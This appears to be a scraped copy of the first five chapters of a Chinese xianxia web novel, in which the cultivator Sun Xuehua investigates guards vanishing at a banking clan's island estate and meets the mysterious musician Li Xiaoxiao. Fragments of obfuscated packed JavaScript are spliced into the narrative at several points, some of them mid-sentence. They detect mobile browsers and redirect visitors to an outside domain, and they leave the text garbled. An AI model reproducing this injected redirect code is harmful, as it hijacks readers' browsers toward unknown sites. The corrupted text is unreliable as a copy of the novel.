《给正道魁首献上我的热炕头》 1. 第 1 章 暮春,四月廿六。 天接一片湖光山水色,地生万物竞相发,草木蓬勃,山花烂漫,香引蝶来,真真儿是个好天气。 一家依河而建的吊脚楼上,已是人满为患。闲居散客,漂泊旅人,贩夫走卒,各类人等皆是一桌一桌地围坐着,谈天说地,或是聊些今日营生,或是聊些江湖传闻,亦或是种种之乎者也,张口便是经文大道,听都听不懂。 跑堂的小伙计肩上搭着块新换的毛巾,一手托着食盘,一手提着茶壶,挨个儿添茶倒水,再道上几声“慢用”,这一趟趟跑下来,着实累着了,心下便也犯起了嘀咕:“今儿是怎么了,这么多人?” 旁边同样忙得脚不沾地的另一个小哥提醒道:“你忘啦,马上就是宋庄主八十大寿,听说要摆三天三夜的流水席,请了不少名流俊士,别说咱们家了,这整个镇上的客栈都住得满满当当。” “宋庄主这般厉害?”那小伙计不解,胡乱用毛巾擦了把脸,省得汗珠子都滚到眼睛里去,又涩又痒。 “嗐,你刚来,不清楚我们这儿的情况,改天再跟你细说。”小哥儿轻轻搡了他一下,指着角落里临窗的那一桌,“你去给那位小公子添茶,我壶里没了,得去一趟后厨。” “行。”小伙计满口答应,大步朝那边走去。 走近一看,才发觉是个十七八岁的小郎君。 他一身朴实衣裳,无所华美之处,背上那个剑袋似的东西也不曾解下,右手轻轻握着杯沿,微低着头,乍看之下并不显眼。可再仔细瞧瞧,那人眉眼端庄,鼻梁高挺,神色沉静,寂寂如山,大有一种天崩于前而面不改色的强烈肃杀之感。 可他明明是个初出茅庐的年轻人。 小伙计不敢怠慢,听说这些游走尘世的散修脾气都不太好,稍有不慎就得挨上几下,他这手无寸铁的市井小民哪遭得住? “客官,给您添茶。”他恭恭敬敬地给人续上,质朴清冽的茶香悄然散开,那人抬眸,朝着他微微点头:“多谢。” “不谢不谢。”小伙计听着这声如击玉,不由多看了一眼。 那小郎君眼如点漆,正眼看人的时候,犹如长夜中一颗遥远明亮的星子,寂静之感,广袤无垠,那份独有的冷肃被他有意收敛起来,显出几分穆然庄重,看得那小伙计以为自己做了何等了不得的大事,顿时挺直了腰板:“您若是还有需要,尽管叫我。” “多谢。”小郎君依旧只是客气地点了点头,小伙计却舒展开笑意:“没事儿,您客气了。” 少年人颔首,便垂下眼帘,默默喝茶,小伙计见状,又壮着胆子看了他好几眼,对方也不恼,神色如常,那小伙计一时好奇,就问:“客官,您也是来参加宋庄主大寿的?” “只是路过,并不知晓此事。” 小郎君说话也是一副不急不缓的沉稳语气,小伙计心下对他多了几分好感,话不免多了些:“您这样玉树临风的小郎君,若是不去,着实几分可惜,我听说宋庄主这回请了不少名流俊士——” “看茶!” 不远处又有客人在高声唤着,小伙计只好咽下到嘴的话,哈腰点了个头,便拎着茶壶麻利地干活去了。 孙雪华轻轻抿了一口热茶,不曾多言。 这是他离开临渊以来,第一次听旁人叫他小郎君,心下慨然,犹似一颗石子悄然入水,静谧无波的池面瞬间荡开些许涟漪。 孙雪华,小字霁初,师从临渊,日前本与友人相约,下山游玩,奈何友人临时有事在身,尚未赴约,他便在此茶馆暂歇,稍作等待。 春光烂漫,人声鼎沸。 孙雪华坐的位置恰好靠窗,他低头看去,便能瞧见那热闹的桥边市集,宝马香车,鱼龙共舞,繁花素锦,蜿蜒数里。吊脚楼下的河道宽阔笔直,很明显是一条通江的河,河上来往的多是高大的商船,更有些精致画舫,不少富贵子弟在上头饮酒作歌,好不快活。 孙雪华思绪万千。 原来这太平日子的春天,是这般晴朗的景象。 心有触动,不免多望了几眼。 这一眼,他就注意到某只小船上,站着个长身玉立的男人,身姿如鹤,清雅卓群,墨色的长发仅用一根木质的发簪简单绾着,垂在身后。 难得一见的漂亮。 孙雪华再看,发觉对方手上似乎握着一根长箫,但他的双手背在身后,宽大的袖子恰好遮住了大半个箫身,只隐约露出上面系着的饰品。 好像是一颗珠子? 孙雪华有点出神,忽见一只白鹭掠水而过,一下叼住了那男人头上的发簪,直冲这茶楼而来,落在了他的窗前。 孙雪华一愣,再低头,那人明显也怔住了,一手按在颈侧,防止散开的头发被风吹乱,他扬起脸,很快就看向了这边,那明媚的眼眸里似乎映着这粼粼湖光,十分惹人怜爱。孙雪华不语,单手掐诀,巧施灵术,引导着那只白鹭再次飞起,将那根木簪精准地投入到对方怀中。男人讶然,再抬头,孙雪华已经关上窗户,不见了踪影。 “真是个好人呐,可惜,跑得也太快了些。” 男人轻笑,将长发重新束好,便催着那船夫往渡口赶去。 孙雪华未将这件小事放在心上。 此次下山,他只想寻个清静,没有要涉世的打算。可今儿不知怎地,他出了茶楼,往镇外走的路上,又遇到了一位旧识。 “尹姑娘?” “孙前辈?” 小姑娘与他仅有数面之缘,算不得熟悉,第一眼看过来的时候,还有些犹豫,直到孙雪华先唤了她,她才反应过来。 来人是五柳山庄尹晓棠,今年才十六岁,眉眼间真正有几分稚气未脱。孙雪华见她裹了件半旧的披风,松垮的兜帽斜斜挂在一边肩侧,背上的箭囊还是崭新的,隐隐散发出银色的雪光。 “你也外出游历吗?” 孙雪华问她,尹晓棠摇了摇头:“不是的,我是受人所托,才来这里的,今天刚到。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762359|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你一个人?” “嗯。” “是何事呢?” 尹晓棠左顾右盼,踟蹰片刻,小声道:“孙前辈,可否借一步说话?” “好。”孙雪华答应下来,二人寻了个偏僻的巷尾,尹晓棠这才松了一口气似的,抱拳行礼:“见过孙前辈。” 孙雪华看上去只比尹晓棠大个一两岁,但却与她的父母是一辈人,因此小姑娘不敢怠慢,将事情的原委一一道来:“孙前辈,你知道这里的宋氏钱庄吗?那钱庄的老庄主要过八十大寿,请了好多人来呢。” “刚刚有听旁人提起过,你也是来参加老庄主寿宴的吗?” “不是。”尹晓棠仍是摇头,“我先前有个同门,他不修行了,离了五柳山庄后,就在那宋氏钱庄当护卫。前几日他飞鸽传书于我,说是老庄主寿宴,要增派不少人手维持秩序,但他手底下没人,就想请我帮忙,我就来了。” “嗯。” 尹晓棠抿了抿唇,思量许久,才继续道:“孙前辈,其实我收到了两封信,一封信是我那同门请我来做护卫的,还有一封,他做成了密笺,藏在了信封夹层里。” 孙雪华点了点头,小姑娘就从袖中取出那封密笺,交给这人,上面只写了极短的一句话:“近来庄中怪事频发,时有护卫失踪,望师妹不计前嫌,施以援手。金伯涛敬上。” “这个金伯涛,就是我那同门,他离了北地好几年,现在成了宋氏钱庄的副守卫长。从前他还在五柳山庄的时候,我们一同洒扫过庭院,算得上比较熟悉吧,我收了信,想着能帮一把是一把,就来了。” 孙雪华了然,五柳山庄位于北地,数十年前也是一派大宗,可惜近年来门庭凋敝,已经没有多少人在那里修行了,纵使尚有人在坚持,那同门之间的情谊恐也不深,尹晓棠能顾念旧情,不远千里,前来相助,也是件值得勉励之事。 “我随你一道去吧,好有个照应。”孙雪华说道。 尹晓棠一愣:“哎,这,这,我没想过要麻烦您。” “我刚听那茶楼伙计说,宋庄主大寿,宴请了许多名流俊士,我也顺道去见见世面。” “啊?”尹晓棠愣了愣,见世面?见什么世面,还有世面是孙前辈没见过的? 她观察着孙雪华的神色,对方神色如常,看不出任何异样。 前辈在开玩笑吗? 小姑娘觉得不可思议,可除此之外,她又找不到别的理由来解释这个事情,但有这样一位厉害的前辈同去,她也有底气些。 于是,尹晓棠就点头道:“那就麻烦前辈了。我们现在就出发吗?我和涛哥约了在江边渡口见面。” “嗯。” “多谢前辈。” 小姑娘再次拱手行礼,笑盈盈的,更显稚气,一双黑白分明的眼睛格外明亮有神,孙雪华心下慨然,他想,年轻真好,永远朝气蓬勃,永远满怀期望。 他点了点头,陪同对方一道去了渡口。 2. 第 2 章 彼时正是晌午,渡口亦是熙熙攘攘,人潮拥挤。各路人等三五成群,大都在清点货物,也有一小部分聚在一起商讨着什么,还有些新到的,正在和叼着烟杆的船家讨价还价。孙雪华扫了一圈,目光却瞥到角落里一个素雅的身影。 今天在船上丢了木簪的那个人? 孙雪华一时好奇,又多看了两眼,对方正准备登船,墨色的长发已被重新束好,随着他的动作从肩头垂下,轻柔和缓。孙雪华见他无事,便要收回目光,可那人却仿佛心有灵犀一般,转身回眸,一下就和他的视线撞了个正着。 孙雪华下意识地微微颔首,直到那人粲然一笑,他才想起来,他们本是素昧平生。 孙雪华静默片刻,还是选择转过身去,不再与人对视。那人见状,正欲下船来寻他,但看到他身边还站着个小姑娘,犹豫了一会儿,还是放弃了,略有些遗憾地躬身进了船舱。 尹晓棠正专注会面一事,对此毫无察觉。 她远远看见一个穿着褐衣软甲,头戴绛色头巾的大汉走了过来,忙招招手:“涛哥!” “晓棠。”那大汉分外欣喜,可见了孙雪华,又是一愣,“这位小兄弟是?” “某姓殷,小名小雪,是尹姑娘的朋友,听说贵庄在招护卫,就前来应招了。”孙雪华面不改色地报了个半真半假的名字,尹晓棠听了,也反应过来,搭腔道:“涛哥,我这个朋友比我厉害多了,一定能解你燃眉之急。” 金伯涛闻言,更是喜出望外:“你的意思是?” “嗯。”尹晓棠认真点了点头,对方忙躬身做了个“请”的手势:“二位快快随我来。” 他约了个船夫,专程等在渡口,只等几人上了船,便直奔宋家江心洲的别院。 船上,那金伯涛向尹晓棠二人拱手行礼,道:“这次有劳二位千里相助,待事态平息,某定会登门拜谢。” “金兄言重了。”孙雪华颔首,只问,“到底是发生了什么事情?” 金伯涛重重叹了一口气,将来龙去脉缓缓道来:“近日庄主大寿,要在这江心别院设宴,自是少不了高朋满座,我们这些做护卫的便要加紧巡视,确保这宴席安全进行。可这几天,接连有五人失踪,我上上下下找了许久,连他们家中都去走访了一遍,仍是不见踪影。” 他说着,从怀里掏出一个布包,打开来一看,里面均是些零零散散的布条:“这些都是在他们失踪的地方找到的,都是他们衣上之物,我虽学艺不精,但还是觉得这些东西有种怪异之感,因此便带在身上,给二位瞧瞧。” 言罢,他将那个布包推到尹晓棠面前,小姑娘摸了摸,却摇摇头:“确实有种古怪之感,但我说不清楚是什么。” “他们都死了。”孙雪华一眼便知,开口就吓了那两个人一跳。金伯涛更是瞪大了眼睛:“都死了?可是尸体在哪儿?我连这江水里头都托人去寻了,一点痕迹都没有。” “被吃掉了。”孙雪华淡然解释道,“鬼魅魍魉,异兽精怪,均会食人血肉,但像这样,一点痕迹都留不下的,极其少见。” 他眼神一凛:“除非,有人在为其善后。” 金伯涛愕然,孙雪华又道:“世间阴暗之物,除大魔以外,行动多靠本能驱使,欠缺思考,因此食人之后,留下的痕迹多是血腥残暴,且带有强烈的不详气息。” “但这些布条上的气息却被巧妙地处理过,看似寻常,实则非常棘手。” 孙雪华说着,两指并拢,指尖聚气,缓慢抚过那些布条,眉头微微蹙起:“他们甚至连魂魄都被吞噬了。” 金伯涛大骇:“连魂魄都?” “对。”孙雪华感到此次事态的非同寻常,眉眼不曾舒展,“人所遗留之物,均与其有着千丝万缕的联系,道行高深之人,可借此招魂,但这些布条上,却一点都感知不到。” 金伯涛闻言,不由地喉结一动,忐忑不安地问道:“可有破解之法?” “目前尚不知。”孙雪华垂眸,“上岸之后,我为诸位制作灵符,若再遇凶险,可抵挡一二。” 金伯涛定定地注视着他,见这少年眉眼冷冽,如高山积雪,巍巍不可攀,心下不免好奇他的身份,问道:“殷小兄弟风姿卓越,谈吐不凡,不知师从何人,在何处修行?” “恩师故去多年,金兄不必问我来处。”孙雪华不急不缓地回答着,金伯涛却以为自己不小心戳中了对方的心窝子,忙赔不是:“对不住,是金某冒犯了。” “金兄言重了,生死之事,自有天命。”孙雪华默然,不再言语。 气氛一下沉重了些,金伯涛不敢再多说什么,待船靠了岸,便领着两个人避开人群,从偏门进入到这个江心洲。 “庄上少了几个护卫,庄主命我们暂时不要声张,待查清真相后,回禀于他,再做定夺,所以你们也尽量低调些,莫要惹人注意。”金伯涛边走边说着,孙雪华问他:“那几个护卫在何处失踪的,几时失踪的?” “我们这儿的护卫均要巡夜,第二天换岗的时候才发现人不见了,应该都是夜里失踪的,具体是什么时辰不得而知。”金伯涛顿了顿,“但他们失踪的地点倒是很清楚,两个是在小少爷的院子外,两个是在二小姐那里,还有一个——” 他忽地“啧”了一声:“在一位客人那里。” 孙雪华不言,光是走了这段路,他便发现这江心洲占地颇大,从外围看,琼楼玉宇,水榭歌台,繁花似锦,且似是请了高人做局,使这庭院如在云端,如若仙迹,但它与外界连接的渡口,却狭长笔直,犹如一把利刃直入洲心。 很难说这里头是否大有玄机。 孙雪华没有表态,就见金伯涛从某个下属那里取了两套衣服来,交给他们:“小少爷和二小姐那里,都是守卫长的人,你们最好避免和他撞见,他这人刻薄得很,时常针对我,若是被他发现,我从五柳山庄请了你们过来,准没好果子吃。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762360|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。”孙雪华见多了这类勾心斗角之事,并不意外。 尹晓棠却十分不解:“那护卫失踪了,守卫长不管吗?” “也管的。只是吧,他不是很看得起我,对我很排斥,也不同意我与他一同调查,否则我也不会请你们来,对不对?” 金伯涛似有难言之隐,尹晓棠便点了点头,没有追问。 她与孙雪华各自将那褐衣软甲套在外头,裹上头巾,金伯涛仍然面露难色:“剑和弓也需卸下,免得被人发现。” “嗯。” 孙雪华没有反对,尹晓棠却有几分舍不得,小声嘟囔着:“这是新做的弓呢。” 她都还没正式用过,就要这样扔在一边了。但转念一想,还是调查失踪一事比较重要,小姑娘尽管不舍,还是将自己的箭囊交了出去。 一切准备就绪,金伯涛便领着他们去了一个地方。 那里青柳垂丝,似有烟岚围绕,濛濛如雾,如临仙境。 “殷小兄弟,晓棠,我们到了。” 尹晓棠抬头,瞧着那朱墙玉瓦,很是好奇:“这就是你说的那个客人的住所?” “对。”金伯涛点头道,“最后一个失踪的护卫,就是他这里的。他是庄主请来的伶人,要在宴席上演奏,庄主吩咐了,尽量不要打扰他。但是——” 看着十分老实的大汉忽地压低了声音:“据说也不仅仅是伶人,是庄主买回来的脔宠,庄主格外喜欢他,连这院子都是新建的。” 孙雪华抬眸:“有证据吗?” “大家都这么传,我想也是,因为距离庄主寿宴还有五天,各家各派来的贵客都还未上岛,均是住在镇上客栈,可唯独他一个人住一个院子,这不有违常理?” 金伯涛振振有词,孙雪华却轻声打断了他:“真相未水落石出之前,还是少作妄言,有损他人清誉。” “可大家都在传。” 金伯涛嘀咕了两句,但心底不知为何,不太敢违逆他,就结束了这个话题,指了指大门说道:“我就是在那儿捡到的失踪护卫的衣上之物,到现在已经有三天了。” “他失踪之后,我也曾去询问过那个伶人,但那个伶人一句‘没见过’就把我打发了。我看他脾气不太好,又甚得庄主青眼,就没敢再冒冒然追问。待会儿进去,我们不知道要怎么被他挤兑呢。” 孙雪华不语,走到那大门处,施术探查一番,并没发现任何异样,便道:“我们先从这里着手?” “我正是这个意思。”金伯涛坦言,“二小姐和小少爷那里都是守卫长的人,你们行动不方便,就这里最合适,人少清静,不容易被发现。” “随机应变吧,若是他真的不好相与,我们只能另作打算。”孙雪华只认同了他一部分的说法,金伯涛讪讪道:“殷小兄弟说得有理,且随我进去吧。” “嗯。”孙雪华拱手抱拳,站到他身侧偏后,金伯涛这才推开了那道厚重的朱门。 3. 第 3 章 院内一派宁静祥和之感,入眼便有一株繁盛的玉兰,色白莹润,花香满枝。 金伯涛领着他们,从正门进去,穿过两道水晶帘,走到了里边一间屋子。屋内陈设并不简单,床榻、座椅均是由紫金楠木打造,纹理细腻,光泽如浮金跃动,阳光一照,整间屋子犹如水中静影,如梦如幻。 孙雪华莫名想到了一个词——金屋藏娇。 他不免思量起之前金伯涛的弦外之音,可等到见了人,他又晃了下神。 这个院子的主人,居然还是今天见到的,被白鹭叼走木簪的那位。 一天之内,撞见同一个人三次,若非冥冥之中自有天意,那便是有人暗中做局,刻意为之。 孙雪华站在靠门那侧,双手背在身后,指节微动,简单算了一卦。可这掐指一算,倒是算出个令他十分意外的结果。 这人和自己之间,确有缘分,只是这缘分,如山中曲径,月下暗河,不知源于何处,归于何地,甚至没有具体的象征意义,爱恨善恶,一概不知。 少年垂眸,他平生极少算卦,这次推衍,居然是这般奇特。 天意吗?若是天意,那苍天是要告诉他什么呢? 孙雪华不语,静静看向榻上那人。 对方还是初见时的那身素雅衣裳,此刻正慵懒地坐着,手边点着一盏香炉,袅袅青烟升腾而起,他如在仙境之中,一头墨色长发被一根朴素的木簪绾了起来,几缕发丝轻轻垂下,贴在了半敞的领口处,衬得他那张脸尤为温柔漂亮。 “副守卫长今日怎么得空来我这儿了?”男人笑着,金伯涛拱手道:“前几日让李公子受了惊吓,庄主日夜忧心,便差我再寻两个拳脚功夫上佳的护卫前来,还望李公子收下,我也好回禀庄主,免他忧心之苦。” 男人听了,笑意不减:“若是庄主的心意,我岂有不收之理?但我一向清静惯了,突然多了两个人,总归有些不适应。这样吧,那个小郎君留下,小姑娘,你就送去小姐们那里,如何?” 金伯涛一顿,有些为难:“这,小人得到的命令是要在您这儿加派人手,保护您的安全,最好要有个三五人,小人也是念着您喜静,这才自作主张降到了两个人,您再三推辞,庄主若是怪罪下来——” “若是庄主拿你问话,你就说是我的意思,如果你非要两个都留下,那我一个都不要。” 男人说到最后,嘴角仍是噙着笑,可眼底明显有了一丝冷意,金伯涛不好再劝说,便对孙雪华说道:“既然如此,你便留下,若有懈怠,我定要捉你回去问罪。” 他眼神示意对方小心,可少年只是淡淡地点了个头,并无其他任何表示。尹晓棠还想说些什么,就被金伯涛轻轻搡了一下胳膊,径直带走了。 屋内只剩孙雪华一人。 “你叫什么名字?” “在下姓殷,您叫我小雪便好。” “小雪?”男人含笑,眉如远山,眼似秋波,任谁看了都要心神一荡,可孙雪华却觉得他远非表面看起来那般人畜无害。 那个卦象,实在令人生疑。 男人见他久久不言,笑着:“今天谢谢你了,若不是你,我那根木簪不知何时才能找到。” 孙雪华只当不清楚:“在下当时只是在茶楼喝茶,碰巧看见了而已,木簪一事,与我并无关系。” “不是你施术送回来的?”男人佯装惋惜,“我见你身姿不凡,原以为你和副守卫长一样,是从五柳山庄出来的,学过些精彩绝伦的术法,这才让那只俏皮的鸟儿乖乖把我的东西送回来。” “您谬赞了,在下非是五柳山庄出身,只学过些皮毛功夫,出来讨口饭吃罢了。” 孙雪华没有承认茶楼所为,只怕节外生枝,无端麻烦。 “那好吧。”男人微叹,没有纠结,只道,“我今日外出之事,你莫要告诉别人,不然我可要倒霉了。” “是。” 孙雪华目不斜视,眉眼间透着强烈的可望不可即的冷冽之感,一般人见到他,都会下意识地避开那样的眼神,可男人一点都不躲,直勾勾地盯着他:“今后可要仰仗小雪多多照顾了,我叫李箫箫,你叫我箫箫就好。” “您抬爱了,保护您,本就是在下分内之事。” “哈哈。”李箫箫饶有兴味地注视着他,“我回来得急,也没想到副守卫长会来找我,眼下什么都没准备,你且待我片刻,我去去就回。” “是。” 孙雪华颔首,李箫箫起身就往屋里去了,他单手施术,一片飞落的玉兰花便落到了对方腰侧,方便他继续跟踪观察。 李箫箫勾起嘴角,穿过一扇双面刺绣的屏风,径直来到了衣柜前。那衣柜半开,一支长箫正静静躺在与他的肩膀齐平的柜架上,形制古朴,色泽莹润,箫身上似乎刻着些纹路,如同层层漾开的涟漪,十分灵动。顺着那纹路向上看,长箫顶端系了一根七彩编绳,下方绑着一颗镂空金珠,状似一朵未曾绽放的睡莲,正垂在架外,轻轻摇曳着。 这颗金珠,怎么好像在哪里见到过? 孙雪华心下疑惑,因为位置的原因,里间比外头稍暗,屏风上绣着的水藻、游鱼、落花、青竹,被明媚的日光一照,纷纷投射到那高大的柜门之上,光影攒动,一切像是活了过来,藻荇飘摇,游鱼戏花,侧耳聆听,仿佛还能听见潺潺的流水声,而那颗金珠,就是水中皓月,华彩蔚然。 孙雪华心头微动,想起一个地方。 听海崖无晴门。 数月前,他曾经在那听海崖地宫中见过一颗极其类似的珠子,也是这般状若莲花,光彩夺目。不知其名,不知来历,只知它灵力非常,似有补天柱地之能。 但面前这颗,好像仅仅只是一颗普通的装饰物,并不能感知到它的力量。 孙雪华一时困惑,余光一瞥,猛地垂下眼帘,暂时中断了术法。 他想得太过入神,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李箫箫笑着:“这里的护卫,大多是粗人,他们见了自己的主子,无不卑躬屈膝,竞相讨好,可你却不是。” “小人负责此地安全,没理由畏惧您。况且,”孙雪华顿了顿,不动声色地将这个问题抛了回去,“我来之前,就听说您深居简出,又怎知这江心洲的护卫,全是如您所言的,奴颜婢膝之流?” 李箫箫一愣,继而朗声大笑:“你果真与旁人不一样。” 孙雪华不语,李箫箫眼神中多有赞许之意,将腰上的长箫取下,置于小桌上,轻轻推向了他:“这个,给你瞧瞧,这是我最引以为傲的东西。” 孙雪华见状,思量起这人的用意,可金珠在前,不失为一个试探虚实的机会,于是他伸手用指腹按住那箫身,从第一个箫孔处慢慢滑下去,最后在那彩绳尾端停下,不声不响地碰了碰那颗金珠。 4. 第 4 章 李箫箫看向他,那双手纵使数十年来风霜摧折,但依旧修长有力,一看便知孙雪华定是个心性坚定、修为深厚之人。 少年默默收回手,李箫箫也随即收回目光,问道:“怎么样?” “做工精细,实为上品。”孙雪华如是答道。 但也确实是个凡物,这后半句被他按下不表。 李箫箫自然听不见他内心真实想法,只笑着:“老庄主也这么说,不然我也不会在这里。” “嗯。” 孙雪华对那些传言并不感兴趣,神色冷淡,虽然他自己并不觉得有什么,但李箫箫看在眼里,不免好奇:“你就没有话要和我说?” “副守卫长让我尽职尽责便好,其他的,不该听的不听,不该问的不问,不该说的不说。” “是这样吗?” 话音未落,李箫箫便凑近了些,仔细端详起孙雪华来,对方不为所动,静默地坐着,没有避开他的视线。 “是这样的。”他答道。 李箫箫抿了抿唇,那双明媚的眼眸里映照出些许冷肃的雪色,墨色的长发染上了一些熏香的味道,却远没有那么浓烈,反倒舒缓绵长,使人心神宁静。 孙雪华略感疑惑:“您为何要一直看着我?” “我在这儿好多天了,都没人愿意和我闲聊,日子真是苦闷。”李箫箫直言不讳,“你与我说说话吧,说什么都行。” “我听说您喜静,不爱和人聊天。” “外面都这么传?” 孙雪华一时迟疑,他只听金伯涛是如此形容,至于别的人,他也不认识。李箫箫见他这一脸严肃的模样,便起了些许逗弄的心思,又凑近了些:“要不这样吧,你问我什么,我就回答什么,怎么样?” 孙雪华不语,仿佛在思考着他话里话外的真实性。 李箫箫嘴一撇,不大高兴:“小小年纪,就这么寡言少语,多疑无趣,可怎么好?” 孙雪华不解:“无趣之人,自然有有趣之人相伴。” 李箫箫仍不满意,柔软的指腹轻轻点了点他的鼻尖,以此来表达自己的不悦,孙雪华微怔,向后仰了仰头,避开了这人的动作,对方手指一顿,悬在半空,过了一会儿才慢慢蜷起,缩了回去。 气氛一下古怪了起来。 李箫箫低眉:“你这么抵触我,是不是也听说我是庄主的禁脔,认为我十分放荡?” “在下并无此意。” “那你为何躲着我?” “我只是不理解,”孙雪华顿了顿,考虑了一下措辞,才接着说道,“就连我最好的朋友,都没有这么对待过我。” 李箫箫一愣,没料到是这么个回答,竟是忍俊不禁,随便给自己找了个台阶下:“人与人之间相处的方式总归有些不同,我是见你初来乍到,一直拉着个脸,怕你觉得无聊,就想与你亲近亲近,免得日后在我手下做事不痛快。” 孙雪华神思微转,认为这个理由勉强也可以接受,就应了下来:“嗯。” 李箫箫更是想笑:“我知道外边的流言蜚语,但真相并不是这样的,我真的只是个普通的客人。你若是不喜欢,下次我就不这样了,好吗?你不要误会我太深。” “不会。”孙雪华回答得又简洁又笃定,李箫箫得到承诺,又有了劲头,说道:“既然如此,那你就多和我说说话,好不好?” 少年人思忖片刻:“我是新来的,不太懂这个钱庄的规矩,若是有冒犯之处,还请您多多包涵。” “我也不熟悉这里,你与我可以随意些,不管你做什么,都不会冒犯我。” 李箫箫说得暧昧,似有弦外之音,孙雪华眼神微转:“今日您为何会在船上?我来之前,还听说您脾气不好,没有其他人愿意来这儿。” 对方闻言,就知道他想套话,笑了笑:“我刚刚都告诉你了,我在外边名声不好,自然没人愿意亲近我,那些护卫仆从什么的,都躲我远远的,我连他们长什么样儿都不清楚。日子久了,我就嫌闷得慌,逮着个机会偷跑出去,没想到,刚巧撞见了你。” “嗯。”孙雪华微微点头,这番说辞,倒也有理有据。 “你说,这算不算你我有缘?” 一提到缘分,孙雪华又想起自己掐指算来的那一卦,抬眸看去,李箫箫还是那副笑盈盈的,满眼期待的样子。他直觉这人性格乖张,需要哄着骗着,不好直接驳了面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762362|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,就道:“缘分一事,信则有,不信则无。” 李箫箫闻言,轻叹着:“你这人说话,真是滴水不漏。” 孙雪华不语,只是静坐沉思,对方一脸无奈:“这样吧,我看你也是局促,就不强留你了,你先去忙,等你熟悉这边,再与我细说也不迟。” “多谢您体谅。”孙雪华点头应下,悄然下地,不声不响地离开了。 李箫箫望着他留下的半杯茶水,指腹轻轻拂过那湿润的杯沿,小声说道:“小雪当真是个谨慎之人。” 但无论如何,他要等的人,终于是来到了他的面前。 李箫箫往柔软的床榻上一滚,自在不已。 孙雪华走到院内,瞧着这满院葱翠,想起尚未赴约的友人,念及约定的地点有变,就顺手取来一片青叶,写了一封小笺,请对方速来这江心洲与自己会合。他刚刚施术将信笺送出去,李箫箫便有了感知。 “嗯?” 他眉头一挑,熏香上袅袅升起的青烟化作一只翩跹的蝴蝶,截住那张将要飞远的信笺,打了个圈儿,慢悠悠飞了回来,落在主人肩头。 “吾友亲启。” 李箫箫瞧着梧桐叶上隽秀的字体,不由喟叹:“字可真好看啊,小雪。” 他玩味地将那薄薄的叶片翻来覆去,轻轻贴在鼻尖处,嗅了嗅上面残留着的孙雪华的气息,淡淡的,甚至可以称得上有些许冷冽,像冰天雪地里未曾开封的烈酒,蕴而不发,你明知得不到,却又迫不及待地想要尝上一口。 李箫箫犹豫片刻,最终没有选择烧毁那片梧桐叶,而是将它夹进了自己的书页之中。 “可惜了,我暂时还不能让你和你的好友见面。”他呢喃着,又一次躺下了。 孙雪华心头微动,没有细究。 他借着巡逻的名义,将这院内里里外外搜索了一遍,没有发现任何异样。但他认为,李箫箫非是常人,若真是金屋藏娇,为何护卫仅有一人?偌大的院子,连个照顾起居的仆人都没有,实在说不过去。可若另有隐情,为何只有李箫箫独居此处?宴请的宾客都未能上岛,只有他一人例外。 孙雪华直觉这人身上大有文章,便留了些心眼。 5. 第 5 章 巡逻完毕,晌午已过,孙雪华也没有得到别的指令,回屋一瞧,发现李箫箫不知何时躺在榻上睡着了。他手里还握着那根长箫,金珠随意地滚在一边,彩绳和他的长发绞在一起,睡容恬静,姿态散漫。孙雪华两指并拢,指尖凝气,轻轻点在他眉心与膻中,并没有发觉任何气息残留。 李箫箫是个普通人,而且,应该没有和那些失踪的护卫有过交集。 孙雪华收势,瞧见被某人踢散的薄被,便悄悄扯了一下,给他盖上,李箫箫却不领情,睡梦中翻了个身,又把那条薄被蹬到了地上。孙雪华将它抱了起来,再给人盖好,李箫箫闭眼呓语,不安分地动了动,头发被他折腾得全都散了,遮住了大半张脸,还有几根被他抿在了唇边。孙雪华垂眸,指尖轻轻一拨,将这人凌乱的头发捋到脑后,动作轻缓,极有耐心,直到那散乱的头发不再遮挡面容,他才堪堪停下,转身去了外边。 “小古板。”李箫箫嘀咕着,裹着被子往榻里边滚了一圈,睡觉都这么多规矩,真不知道他从前过得什么日子。 李箫箫这么想着,心里却很高兴,很快又昏昏睡去。 另一头,尹晓棠被金伯涛带走后,并没有分配到其他任务,而是跟着人在江心洲巡逻。 从前在五柳山庄,她也干过巡逻的活,因此不觉得困难,只是他们巡逻的路线上经常会遇到别人,尹晓棠不得不时时低头,防止被人看出是个生面孔。可那些人并没有留意到她,只是和金伯涛攀谈两句,就各干各的活去了,尹晓棠小心翼翼一圈下来,也算平安。 